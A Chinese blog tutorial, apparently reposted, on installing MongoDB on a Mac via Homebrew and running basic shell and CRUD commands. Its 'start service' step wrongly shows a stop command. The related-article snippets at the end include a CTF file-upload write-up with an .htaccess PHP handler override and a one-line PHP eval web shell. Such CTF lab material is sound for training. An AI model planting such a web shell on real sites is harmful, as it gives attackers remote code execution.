MongoDb-01——Mac上安装MongoDb以及相关的简单命令

news2025/1/10 3:25:32

MongoDb-01——Mac上安装MongoDb以及相关的简单命令

  • 1. 下载、安装
    • 1.1 官网下载
    • 1.2 关于安装MongoDB
      • 1.2.1 官方安装文档
      • 1.2.2 Mac安装详细步骤(使用brew)
  • 2. 启动MongoDB
    • 2.1 官方说明
    • 2.2 作为macOS服务运行的相关命令
    • 2.3 访问
  • 3. 链接并使用mongodb
    • 3.1 链接mongodb
    • 3.2 简单使用mongodb
      • 3.2.1 简单命令
      • 3.2.2 简单crud使用(文档命令)
        • 3.2.2.1 插入数据
        • 3.2.2.2 查询数据
          • 3.2.2.2.1 一般查询
          • 3.2.2.2.2 模糊查询
          • 3.2.2.2.3 排序查询
          • 3.2.2.2.4 分页查询
        • 3.2.2.3 修改数据
        • 3.2.2.4 删除数据
        • 3.2.2.5 更多操作参考
          • 3.2.2.5.1 更多语法及例子
          • 3.2.2.5.2 操作符等其他更多文档
  • 4. navicat链接

1. 下载、安装

1.1 官网下载

  • 官网下载:
    https://www.mongodb.com/try/download/community.
    选择对应的版本下载,如下:
    在这里插入图片描述

1.2 关于安装MongoDB

1.2.1 官方安装文档

  • 关于安装建议参考中文文档,各操作系统的安装都有了
    MongoDB 中文手册.

  • 上面文档可能不是根据最新版本定的,所以,如果想安装最新版本的,可以参考官方英文网站,如下:
    https://www.mongodb.com/docs/manual/tutorial/install-mongodb-on-os-x/.

1.2.2 Mac安装详细步骤(使用brew)

  • 我这里也是参考上面安装步骤,使用 brew 进行安装的,具体请看下面步骤。
    关于 brew ,如果没有安装的,请移步下面的文章:
    mac上安装Homebrew的详细介绍包括解决各种问题以及使用Homebrew安装git、svn等软件.
  • 安装步骤:
    • 更新 brew,随自己,可更新可不更新
      brew update
      
    • 创建一个tap仓库
      brew tap mongodb/brew
      
      在这里插入图片描述
    • 安装指定版本的 mongodb-community Server,如果不指定版本,默认好像也是安装最新版本
      brew install mongodb-community@7.0
      
  • 查看是否安装成功
    • 安装之后,通过下面命令查看是否安装上
      brew list
      
      在这里插入图片描述
  • 安装文件说明
    • 除二进制文件外,安装过程还会根据你的Apple硬件在以下指定位置创建以下文件和目录,如下:
      在这里插入图片描述
    • 可以执行以下命令来检查brew将这些文件和目录安装在哪里
      brew --prefix
      
      在这里插入图片描述

2. 启动MongoDB

2.1 官方说明

  • 直接看官网说明:
    在这里插入图片描述

2.2 作为macOS服务运行的相关命令

  • 启动服务:
    brew services stop mongodb-community@7.0
    
  • 查看MongoDB服务是否正在运行
    brew services list
    
    在这里插入图片描述
  • 停止服务:
    brew services stop mongodb-community@7.0
    
  • 查看占用的端口
    • 先查看进程ID
      ps -ef | grep mongodb
      
      在这里插入图片描述
    • 使用 lsof ,根据进程ID查看端口
      lsof -i | grep 24403 
      
      在这里插入图片描述
    • 补:使用 lsof ,根据端口 查 服务和进程
      lsof -i:27017
      
      在这里插入图片描述

2.3 访问

  • 知道端口之后不妨访问试试,当然,访问不通,协议不同,但是可以说明mongodb服务启动了,如下:
    http://127.0.0.1:27017/
    
    在这里插入图片描述

3. 链接并使用mongodb

3.1 链接mongodb

  • 链接命令:
    mongosh
    
    在这里插入图片描述

3.2 简单使用mongodb

3.2.1 简单命令

  • 常用简单命令,如下:
    show dbs   #查看所有数据库
    
    db   # 查看当前数据库
    
    db.getName() #查看当前数据库名称
    
    use dbName   # 切换数据库(注意:有这个数据库,则会选中这个数据库,没有则会创建)
    
    db.version()  # 查看mongodb版本
    
    db.stats()   # 查看数据库状态信息
    
    db.getMongo()  #查看数据库的链接地址
    
    db.dropDatabase()  # 删除数据库
    ……
    
    在这里插入图片描述
  • 关于创建 数据库 和 集合
    use susu_test    # 切换数据库susu_test(注意:有这个数据库,则会选中这个数据库,没有则会创建)
    
    db.createCollection(name, options)    # 创建集合  name:集合名,字符
    db.createCollection('dog')
    
    show collections   # 查看当前数据库所有集合
    
    db.集合名.renameCollection('集合新名')    # 重命名集合
    db.cat.renameCollection('cats')
    
    db.集合名.drop()    # 删除集合
    db.cats.drop()
    
    在这里插入图片描述

3.2.2 简单crud使用(文档命令)

3.2.2.1 插入数据

  • 插入单条数据
    • 语法:
      db.dog.insert({})
      
      db.dog.insertOne({})
      
    • 例子:
      db.dog.insert({dogNum:'A-1001',dogName:'麦兜',dogAge:3,dogKind:'边牧'})
      
      db.dog.insertOne({dogNum:'A-1002',dogName:'泡泡',dogAge:5,dogKind:'柯基'})
      
  • 插入多条数据
    • 语法:
      db.dog.insert([{},{}])
      
    • 例子:
      db.dog.insert([{dogNum:'A-1003',dogName:'大牙',dogAge:2,dogKind:'边牧'},{dogNum:'A-1004',dogName:'闪闪',dogAge:8,dogKind:'秋田'}])
      
  • 如图:
    在这里插入图片描述
    在这里插入图片描述

3.2.2.2 查询数据

3.2.2.2.1 一般查询
  • 语法如下:
    db.dog.find()   # 1.查询所有
    
    db.集合名.find({key:val})   # 2.指定键值对条件查询
    db.dog.find({dogNum:'A-1005'})
    
    db.集合名.find({key:{$in:[value1,value2]}})    # 3.包含,等价于sql中的in查询
    db.dog.find({dogNum:{$in:['A-1005','A-1006']}})
    
    db.集合名.find({key1:val1},{key2:val2}……)  # 4. 多条件查询 同时满足
    db.dog.find({dogKind:'边牧',dogAge:{$lt:3}})  #品种是边牧,并且年龄小于3的
    db.dog.find({$and:[{dogKind:'边牧'},{dogAge:{$lt:3}}]}) #$and 等价于上条写法
    
    db.dog.find({$or:[{dogKind:'边牧'},{dogAge:{$lt:3}}]}) # $or 满足条件之一即可
    
  • 效果如下:
    在这里插入图片描述
    在这里插入图片描述
3.2.2.2.2 模糊查询
  • 语法如下:
    db.集合名.find({key:/val/})   #  1. 模糊查询(包含val的数据),  注意:val 不能用引号
    db.dog.find({dogName:/兜/})
    
    db.集合名.find({ key: /^val/})  # 2.1 查询key中包含val,且以val开头的数据
    db.dog.find({dogName:/^麦/})  # 注意:不加引号
    
    db.dog.find({key:{$regex:'^val'}})  # 2.2 查询key中包含val,且以val开头的数据
    db.dog.find({dogName:{$regex:'^麦'}})  # 注意:加引号
    
    # 同理,查询以XXX结尾的语法类似,两种写法,如下:
    db.dog.find({dogName:/兜$/})
    db.dog.find({dogName:{$regex:'兜$'}})
    
    
  • 效果如下:
    在这里插入图片描述
    在这里插入图片描述
3.2.2.2.3 排序查询
  • 语法:
    db.集合名.find({key:val}).sort({key:1})  # 1 升序,-1 将序
    
    db.dog.find({dogKind:'边牧'}).sort({dogAge:-1}) # 按年龄将序
    
    在这里插入图片描述
3.2.2.2.4 分页查询
  • 语法:
    db.集合名.find({key:val}).limit(num).skip(start)  # num:表示pageSzie , start:表示起始索引,默认为0
    
    db.dog.find({dogKind:'边牧'}).limit(2).skip(1)
    
  • 如下:
    在这里插入图片描述

3.2.2.3 修改数据

  • 语法如下:
    db.dog.updateOne({key:val},[{$set:{key1:val1,key2:val2}}])
    
    db.dog.updateOne({dogName:'麦兜'},[{$set:{dogKind:'边境牧羊犬'}}])
    db.dog.updateOne({dogName:'麦兜'},[{$set:{dogKind:'边牧犬',dogAge:4}}])
    db.dog.updateOne({dogName:'麦兜'},{$set:{dogKind:'边牧犬22',dogAge:3}})  # []可以去掉
    

3.2.2.4 删除数据

  • 根据指定的键值对条件:
    db.集合.deleteOne({key:val})   # 1.1 删除单条数据,最多删除一个匹配指定筛选器的文档,即使多个文档可能匹配指定筛选器。
    db.dog.findOneAndDelete({dogKind:'秋田'}) # 1.2 删除单条数据,即便满足的有多条,删除之后,返回删除的数据
    
    db.集合.deleteMany({key:val})  # 删除多条数据,删除与指定筛选器匹配的所有文档。
    
    db.dog.remove({dogKind:'边牧'});  # remove() 删除满足条件的数据(可多条) ,但提示方法已被弃用
    
    db.集合.deleteMany({})   # 删除所有数据(如果给条件删除满足条件的数据,如果不给条件,删除所有的数据)
    db.dog.deleteMany({dogNum:{$in:['A-1005','A-1006']}})  # 删除满足条件的数据
    

3.2.2.5 更多操作参考

3.2.2.5.1 更多语法及例子
  • 请参考官网:
    中文网.
    英文网.
3.2.2.5.2 操作符等其他更多文档
  • 关于更多查询及操作符用法,参考下面的网站
    https://www.mongodb.org.cn/manual/query-comparison/.
    在这里插入图片描述

4. navicat链接

  • 服务只要起着,直接连就行
    在这里插入图片描述
  • 连上之后查看数据:
    • 可以使用命令查询:
      在这里插入图片描述
    • 也可以使用navicat自带的图形化查询
      在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/953625.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

人工智能与软件开发的未来

人工智能正在从各个方面改变软件开发。尽管许多公司竞相推出人工智能功能,但人工智能的潜力已超出了功能层面,成为大多数SaaS解决方案的基础。当机器学习和人工智能模型应用在SaaS技术后,便能提高各种业务流程的效率。人工智能应被视为新的开…

解决报错“No module named ‘pandas.core.indexes‘”

解决办法: 首先使用看一下你的pandas是不是版本太新了,如果使用2.0.0以上的版本,则会出现这个报错。 可以安装1.x.x的版本。 pip install pandas1.5.3

在Bigemap中怎么添加高清地图呢?

会使用到的工具 bigemap gis office,下载链接:BIGEMAP GIS Office-全能版 打开软件,要提示需要授权和添加地图,然后去点击选择地图这个按钮,列表中有个添加按钮点进去选择添加地图的方式。 第一种方式:通…

多轮面试中的策略和技巧:如何稳步晋级

🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…

如何用数字化系统延长用户运营周期?如何建立数字化用户体系?

如果说运营是进行用户引流、留存及转化的各个细分环节搭建,精细化运营便是针对各个细分环节,结合用户画像、人群定位、场景拆解及数据分析等细节,对用户展开有针对性的运营策略。要知道,运营需要以用户为中心,没有用户…

优思学院|企业推行精益生产要具备哪些前提条件?

企业界早已充斥着各种方法和策略,试图模仿精益生产和六西格玛管理等成功之路,目标在于通过质量工具的运用来改善业务。然而,许多公司在推行这些方法的过程中都犯了一个大错:他们忽视了背后的企业文化和制度,以及精益生…

电脑批量记账,提高效率和管理质量

在快节奏的商业环境中,记账是一项繁琐但必要的任务。为了提高效率和准确性,越来越多的人和企业寻求电脑批量记账的解决方案。 第一步:首先我们要进入晨曦记账本主页面,并点击“收支类别”在弹出来的文件框里输入好类别&#xff0…

Linux查日志的六种实用方法

工具(比Xshell好用,国产且免费) 先给大家安利一个软件:FinalShell官网 你打印出了日志,可以直接在这个上面搜索高亮 查日志 # 持续打印最新的日志,300行 tail -300f xxx.log# 查某个值 grep "内容&q…

[SWPUCTF 2022]——Web方向 详细Writeup

SWPUCTF 2022 ez_ez_php 打开环境得到源码 <?php error_reporting(0); if (isset($_GET[file])) {if ( substr($_GET["file"], 0, 3) "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";} }e…

【HSPICE仿真】实战练习(1)基础仿真分析

仿真实战 1. 反相器直流仿真1.1 输入文件2.2 执行仿真3.3 仿真输出控制.lis 文件内容波形文件 3.4 修改输出配置 2. 反相器瞬态分析使用不同宽长比进行仿真 3. 几种不同输入源的比较Pulse SourcePattern SourcePWL Source 1. 反相器直流仿真 1.1 输入文件 仿真所用电路图&…

MATLAB中mod函数转化为C语言

背景 有项目算法使用matlab中mod函数进行运算&#xff0c;这里需要将转化为C语言&#xff0c;从而模拟算法运行&#xff0c;将算法移植到qt。 MATLAB中mod简单介绍 语法 b mod(a,m) 说明 b mod(a,m) 返回 a 除以 m 后的余数&#xff0c;其中 a 是被除数&#xff0c;m 是…

使用ccs中 exclude from build功能,源代码不能去除/恢复到工程里

1、使用ccs免不了将源文件从工程里去除&#xff0c;或者重新添加到工程里&#xff0c;一般使用功能exclude from build&#xff0c;如下示&#xff1a;在.c上有键就可以看到 2、有时候用这个功能时&#xff0c;经常会出现ccs没有反应了&#xff0c;不能正常将源代码去除/恢复到…

.NET Meetup in Shanghai

点击蓝字 关注我们 作为一个开源的开发平台&#xff0c;.NET 在开源领域的探索从未止步。在如今风云变幻的大背景下&#xff0c;.NET 开源都会遇到哪些阻力&#xff1f;是什么让我们继续拥抱开源&#xff1f;我们将如何克服当下开源之路所面临的困难&#xff1f;开源 .NET 又将…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

成都瀚网科技:抖音商家如何报名超值购?

为保护抖音消费者权益、规范商家经营行为&#xff0c;抖音对商城超值购物、招商引资等方面做出了详细规定。我们来看看详细信息&#xff1a; 第一条【宗旨和依据】为了倡导开放、透明、共享、责任的新商业文明&#xff0c;保护抖音商城用户和商户的合法权益&#xff0c;合理利用…

十九、状态模式

一、什么是状态模式 状态&#xff08;State&#xff09;模式的定义&#xff1a;对有状态的对象&#xff0c;把复杂的“判断逻辑”提取到不同的状态对象中&#xff0c;允许状态对象在其内部状态发生改变时改变其行为。 状态模式包含以下主要角色&#xff1a; 环境类&#xff08…

关于浏览器中使用迅雷组件下载文件的问题

目录 前言 场景 问题 解决 前言 在项目开发中肯定会涉及到下载导出功能&#xff0c;对于开发人员来说一般习惯使用谷歌、火狐等其他浏览器进行功能测试&#xff0c;例如谷歌浏览器支持加入扩展程序&#xff0c;扩展程序的位置在&#xff1a;点击右上角三个点>找到设置点开…

Windows和Linux环境中安装Zookeeper具体操作

1.Windows环境中安装Zookeeper 1.1 下载Zookeeper安装包 ZooKeeper官网下载地址 建议下载稳定版本的 下载后进行解压后得到如下文件&#xff1a; 1.2 修改本地配置文件 进入解压后的目录&#xff0c;将zoo_example.cfg复制一份并重命名为zoo.cfg,如图所示&#xff1a; 打…

飞天使-python的面向对象

文章目录 面向对象面向对象思想类的定义和使用继承封装多态访问控制 参考视频 面向对象 面向对象思想 面向过程和面对对象的区别是什么&#xff1f; 答: 复用性高&#xff0c;面向对象类的定义和使用 类型里面的定义的时候 self 不能省去&#xff0c;应该写出 class person:…

uni-app:允许字符间能自动换行(英文字符、数字等)

<template><view class"container"><!-- 这里是你的文本内容 -->{{ multilineText }}</view> </template><style> .container {word-break: break-all; } </style>例如&#xff1a; <template><view class"…